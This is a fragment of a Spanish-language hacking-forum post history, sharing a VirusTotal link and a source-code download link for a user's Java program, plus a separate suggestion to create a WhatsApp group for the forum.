VirusTotal:
https://www.virustotal.com/gui/file/bb4b05ad3afd310df8e378b71d6ab498cec661ffccf444cff9ecc952ed88f6a9/detection

Código fuente - v0.70:
https://drive.google.com/open?id=19_LaVbK8etOSnu4tsoGvV9sJG8VJXzm_

Autor: Iyyel

Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
90  Foros Generales / Sugerencias y dudas sobre el Foro / Hagamos un grupo de WhatsApp en: 8 Julio 2019, 18:29 pm
Hola a todos,

¿que tal si los administradores hacen un grupo de WhatsApp?


Gracias y saludos
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14 15
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines